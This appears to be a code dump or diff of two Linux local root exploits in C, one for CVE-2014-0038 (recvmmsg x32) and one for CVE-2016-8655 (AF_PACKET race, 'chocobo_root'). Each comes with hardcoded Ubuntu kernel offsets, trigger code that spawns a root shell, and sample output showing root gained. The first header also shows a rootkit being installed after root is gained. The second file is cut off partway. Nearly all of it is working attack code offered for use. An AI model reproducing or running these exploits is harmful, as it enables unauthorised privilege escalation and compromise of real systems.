recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
|
||||
CVE-2014-0038 / x32 ABI with recvmmsg
|
||||
by rebel @ irc.smashthestack.org
|
||||
-----------------------------------
|
||||
|
||||
takes about 13 minutes to run because timeout->tv_sec is decremented
|
||||
once per second and 0xff*3 is 765.
|
||||
|
||||
some things you could do while waiting:
|
||||
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
|
||||
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
|
||||
* brew some coffee
|
||||
* stare at the countdown giggly with anticipation
|
||||
|
||||
could probably whack the high bits of some pointer with nanoseconds,
|
||||
but that would require a bunch of nulls before the pointer and then
|
||||
reading an oops from dmesg which isn't that elegant.
|
||||
|
||||
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
|
||||
|
||||
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
|
||||
anyway..
|
||||
|
||||
same principle will work on 32bit but I didn't really find any major
|
||||
distros shipping with CONFIG_X86_X32=y
|
||||
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
|
||||
user@ubuntu:~$ ./recvmmsg
|
||||
byte 3 / 3.. ~0 secs left.
|
||||
w00p w00p!
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# sh phalanx-2.6b-x86_64.sh
|
||||
unpacking..
|
||||
|
||||
:)=
|
||||
|
||||
greets to my homeboys kaliman, beist, capsl & all of #social
|
||||
|
||||
Sat Feb 1 22:15:19 CET 2014
|
||||
% rebel %
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
#define VLEN 1
|
||||
#define BUFSIZE 200
|
||||
|
||||
int port;
|
||||
|
||||
struct offset {
|
||||
char *kernel_version;
|
||||
unsigned long dest; // net_sysctl_root + 96
|
||||
unsigned long original_value; // net_ctl_permissions
|
||||
unsigned long prepare_kernel_cred;
|
||||
unsigned long commit_creds;
|
||||
};
|
||||
|
||||
struct offset offsets[] = {
|
||||
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
|
||||
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
|
||||
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
|
||||
{NULL,0,0,0,0}
|
||||
};
|
||||
|
||||
void udp(int b) {
|
||||
int sockfd;
|
||||
struct sockaddr_in servaddr,cliaddr;
|
||||
int s = 0xff+1;
|
||||
|
||||
if(fork() == 0) {
|
||||
while(s > 0) {
|
||||
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
|
||||
sleep(1);
|
||||
s--;
|
||||
fprintf(stderr,".");
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET,SOCK_DGRAM,0);
|
||||
bzero(&servaddr,sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
|
||||
servaddr.sin_port=htons(port);
|
||||
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void trigger() {
|
||||
open("/proc/sys/net/core/somaxconn",O_RDONLY);
|
||||
|
||||
if(getuid() != 0) {
|
||||
fprintf(stderr,"not root, ya blew it!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"w00p w00p!\n");
|
||||
system("/bin/sh -i");
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
// thx bliss
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void *head, void * table)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int sockfd, retval, i;
|
||||
struct sockaddr_in sa;
|
||||
struct mmsghdr msgs[VLEN];
|
||||
struct iovec iovecs[VLEN];
|
||||
char buf[BUFSIZE];
|
||||
long mmapped;
|
||||
struct utsname u;
|
||||
struct offset *off = NULL;
|
||||
|
||||
uname(&u);
|
||||
|
||||
for(i=0;offsets[i].kernel_version != NULL;i++) {
|
||||
if(!strcmp(offsets[i].kernel_version,u.release)) {
|
||||
off = &offsets[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!off) {
|
||||
fprintf(stderr,"no offsets for this kernel version..\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
|
||||
mmapped &= 0x000000ffffffffff;
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % 30000)+1500;
|
||||
|
||||
commit_creds = (_commit_creds)off->commit_creds;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
|
||||
|
||||
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
|
||||
if(mmapped == -1) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
|
||||
|
||||
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
|
||||
|
||||
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
|
||||
perror("mprotect()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(msgs, 0, sizeof(msgs));
|
||||
|
||||
iovecs[0].iov_base = &buf;
|
||||
iovecs[0].iov_len = BUFSIZE;
|
||||
msgs[0].msg_hdr.msg_iov = &iovecs[0];
|
||||
msgs[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
for(i=0;i < 3 ;i++) {
|
||||
udp(i);
|
||||
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
|
||||
if(!retval) {
|
||||
fprintf(stderr,"\nrecvmmsg() failed\n");
|
||||
}
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
|
||||
fprintf(stderr,"\n");
|
||||
|
||||
trigger();
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,945 +0,0 @@
|
||||
/*
|
||||
chocobo_root.c
|
||||
linux AF_PACKET race condition exploit for CVE-2016-8655.
|
||||
Includes KASLR and SMEP/SMAP bypasses.
|
||||
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
|
||||
All kernel offsets have been tested on Ubuntu / Linux Mint.
|
||||
|
||||
vroom vroom
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user)
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
|
||||
user@ubuntu:~$ ./chocobo_root
|
||||
linux AF_PACKET race condition exploit by rebel
|
||||
kernel version: 4.4.0-51-generic #72
|
||||
proc_dostring = 0xffffffff81088090
|
||||
modprobe_path = 0xffffffff81e48f80
|
||||
register_sysctl_table = 0xffffffff812879a0
|
||||
set_memory_rw = 0xffffffff8106f320
|
||||
exploit starting
|
||||
making vsyscall page writable..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 174222, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
vsyscall page altered!
|
||||
|
||||
|
||||
stage 1 completed
|
||||
registering new sysctl..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 30773, last val = 0)
|
||||
current packet version = 2
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
race not won
|
||||
|
||||
retrying stage..
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 133577, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
sysctl added!
|
||||
|
||||
stage 2 completed
|
||||
binary executed by kernel, launching rootshell
|
||||
root@ubuntu:~# id
|
||||
uid=0(root) gid=0(root) groups=0(root),1000(user)
|
||||
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
|
||||
Shoutouts to:
|
||||
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
|
||||
mcdelivery for delivering hotcakes and coffee
|
||||
|
||||
11/2016
|
||||
by rebel
|
||||
---
|
||||
Updated by <bcoles@gmail.com>
|
||||
- check number of CPU cores
|
||||
- KASLR bypasses
|
||||
- additional kernel targets
|
||||
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <poll.h>
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/sched.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions()
|
||||
int kernel = -1;
|
||||
|
||||
// New sysctl path
|
||||
const char *SYSCTL_NAME = "hack";
|
||||
const char *SYSCTL_PATH = "/proc/sys/hack";
|
||||
|
||||
volatile int barrier = 1;
|
||||
volatile int vers_switcher_done = 0;
|
||||
|
||||
struct kernel_info {
|
||||
char *kernel_version;
|
||||
unsigned long proc_dostring;
|
||||
unsigned long modprobe_path;
|
||||
unsigned long register_sysctl_table;
|
||||
unsigned long set_memory_rw;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
|
||||
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
|
||||
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
|
||||
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
|
||||
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
|
||||
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
|
||||
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
|
||||
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
|
||||
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
|
||||
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
|
||||
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
|
||||
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
|
||||
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
|
||||
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
|
||||
|
||||
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
|
||||
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
|
||||
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
|
||||
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
|
||||
{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
|
||||
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
|
||||
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
|
||||
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
|
||||
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
|
||||
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
|
||||
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
|
||||
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
|
||||
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
|
||||
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
|
||||
};
|
||||
|
||||
#define VSYSCALL 0xffffffffff600000
|
||||
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
|
||||
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
|
||||
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
|
||||
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
|
||||
|
||||
#define KMALLOC_PAD 64
|
||||
|
||||
int pad_fds[KMALLOC_PAD];
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ctl_table {
|
||||
const char *procname;
|
||||
void *data;
|
||||
int maxlen;
|
||||
unsigned short mode;
|
||||
struct ctl_table *child;
|
||||
void *proc_handler;
|
||||
void *poll;
|
||||
void *extra1;
|
||||
void *extra2;
|
||||
};
|
||||
|
||||
#define CONF_RING_FRAMES 1
|
||||
|
||||
struct tpacket_req3 tp;
|
||||
int sfd;
|
||||
int mapped = 0;
|
||||
|
||||
struct timer_list {
|
||||
void *next;
|
||||
void *prev;
|
||||
unsigned long expires;
|
||||
void (*function)(unsigned long);
|
||||
unsigned long data;
|
||||
unsigned int flags;
|
||||
int slack;
|
||||
};
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void *setsockopt_thread(void *arg)
|
||||
{
|
||||
while (barrier) {}
|
||||
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *vers_switcher(void *arg)
|
||||
{
|
||||
int val,x,y;
|
||||
|
||||
while (barrier) {}
|
||||
|
||||
while (1) {
|
||||
val = TPACKET_V1;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
y++;
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
val = TPACKET_V3;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
y++;
|
||||
}
|
||||
|
||||
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
|
||||
vers_switcher_done = 1;
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define BUFSIZE 1408
|
||||
char exploitbuf[BUFSIZE];
|
||||
|
||||
void kmalloc(void)
|
||||
{
|
||||
while(1)
|
||||
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
|
||||
}
|
||||
|
||||
void pad_kmalloc(void)
|
||||
{
|
||||
int x;
|
||||
for (x = 0; x < KMALLOC_PAD; x++)
|
||||
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
|
||||
dprintf("[-] pad_kmalloc() socket error\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
pthread_t setsockopt_thread_thread,a;
|
||||
int val;
|
||||
socklen_t l;
|
||||
struct timer_list *timer;
|
||||
int fd;
|
||||
struct tpacket_block_desc *pbd;
|
||||
int off;
|
||||
sigset_t set;
|
||||
|
||||
sigemptyset(&set);
|
||||
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("[-] target socket error\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
dprintf("[.] done, sockets allocated\n");
|
||||
|
||||
val = TPACKET_V3;
|
||||
|
||||
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
|
||||
tp.tp_block_nr = 1;
|
||||
tp.tp_frame_size = getpagesize();
|
||||
tp.tp_frame_nr = CONF_RING_FRAMES;
|
||||
|
||||
// try to set the timeout to 10 seconds
|
||||
// the default timeout might still be used though depending on when the race was won
|
||||
tp.tp_retire_blk_tov = 10000;
|
||||
|
||||
sfd = fd;
|
||||
|
||||
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
|
||||
dprintf("[-] Error creating thread\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
|
||||
|
||||
usleep(200000);
|
||||
|
||||
dprintf("[.] removing barrier and spraying...\n");
|
||||
|
||||
memset(exploitbuf, '\x00', BUFSIZE);
|
||||
|
||||
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
|
||||
timer->next = 0;
|
||||
timer->prev = 0;
|
||||
|
||||
timer->expires = 4294943360;
|
||||
timer->function = (void *)func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
timer->slack = -1;
|
||||
|
||||
barrier = 0;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
while (!vers_switcher_done) usleep(100000);
|
||||
|
||||
l = sizeof(val);
|
||||
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
|
||||
|
||||
dprintf("[.] current packet version = %d\n",val);
|
||||
|
||||
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
|
||||
|
||||
if (pbd == MAP_FAILED) {
|
||||
dprintf("[-] could not map pbd\n");
|
||||
exit(1);
|
||||
} else {
|
||||
off = pbd->hdr.bh1.offset_to_first_pkt;
|
||||
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
|
||||
}
|
||||
|
||||
|
||||
if (val == TPACKET_V1 && off != 0) {
|
||||
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
|
||||
} else {
|
||||
dprintf("[-] race not won\n");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
|
||||
|
||||
pthread_create(&a, NULL, verification_func, (void *)NULL);
|
||||
|
||||
dprintf("\n");
|
||||
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
|
||||
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
|
||||
dprintf("\n");
|
||||
|
||||
sleep(1);
|
||||
dprintf("[.] closing socket and verifying...\n");
|
||||
|
||||
close(sfd);
|
||||
|
||||
kmalloc();
|
||||
|
||||
dprintf("[.] all messages sent\n");
|
||||
|
||||
sleep(31337);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int verification_result = 0;
|
||||
|
||||
void catch_sigsegv(int sig)
|
||||
{
|
||||
verification_result = 0;
|
||||
pthread_exit((void *)1);
|
||||
}
|
||||
|
||||
void *modify_vsyscall(void *arg)
|
||||
{
|
||||
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
|
||||
unsigned long x = (unsigned long)arg;
|
||||
|
||||
sigset_t set;
|
||||
sigemptyset(&set);
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
signal(SIGSEGV, catch_sigsegv);
|
||||
|
||||
*vsyscall = 0xdeadbeef+x;
|
||||
|
||||
if (*vsyscall == 0xdeadbeef+x) {
|
||||
dprintf("[~] vsyscall page altered!\n");
|
||||
verification_result = 1;
|
||||
pthread_exit(0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void verify_stage1(void)
|
||||
{
|
||||
pthread_t v_thread;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
|
||||
|
||||
pthread_join(v_thread, NULL);
|
||||
|
||||
if(verification_result == 1) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not modify vsyscall\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void verify_stage2(void)
|
||||
{
|
||||
struct stat b;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
if (stat(SYSCTL_PATH, &b) == 0) {
|
||||
dprintf("[~] sysctl added!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not add sysctl\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
int status;
|
||||
int pid;
|
||||
|
||||
retry:
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (pid == 0) {
|
||||
try_exploit(func, arg, verification_func);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
wait(&status);
|
||||
|
||||
dprintf("\n");
|
||||
|
||||
if (WEXITSTATUS(status) == 2) {
|
||||
dprintf("[.] retrying stage...\n");
|
||||
kill(pid, 9);
|
||||
sleep(2);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (WEXITSTATUS(status) != 0) {
|
||||
dprintf("[-] something bad happened, aborting exploit attempt\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
kill(pid, 9);
|
||||
}
|
||||
|
||||
|
||||
void wrapper(void)
|
||||
{
|
||||
struct ctl_table *c;
|
||||
|
||||
dprintf("[.] making vsyscall page writable...\n\n");
|
||||
|
||||
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
|
||||
|
||||
dprintf("[~] done, stage 1 completed\n");
|
||||
|
||||
sleep(5);
|
||||
|
||||
dprintf("[.] registering new sysctl...\n\n");
|
||||
|
||||
c = (struct ctl_table *)(VSYSCALL+0x850);
|
||||
|
||||
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
|
||||
|
||||
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
|
||||
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
|
||||
c->procname = (char *)(VSYSCALL+0xf00);
|
||||
c->mode = 0666;
|
||||
c->proc_handler = (void *)(PROC_DOSTRING);
|
||||
c->data = (void *)(MODPROBE_PATH);
|
||||
c->maxlen = 256;
|
||||
c->extra1 = (void *)(VSYSCALL+0xe00);
|
||||
c->extra2 = (void *)(VSYSCALL+0xd00);
|
||||
|
||||
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
|
||||
|
||||
dprintf("[~] done, stage 2 completed\n");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processor cores\n", nprocs);
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
void detect_versions() {
|
||||
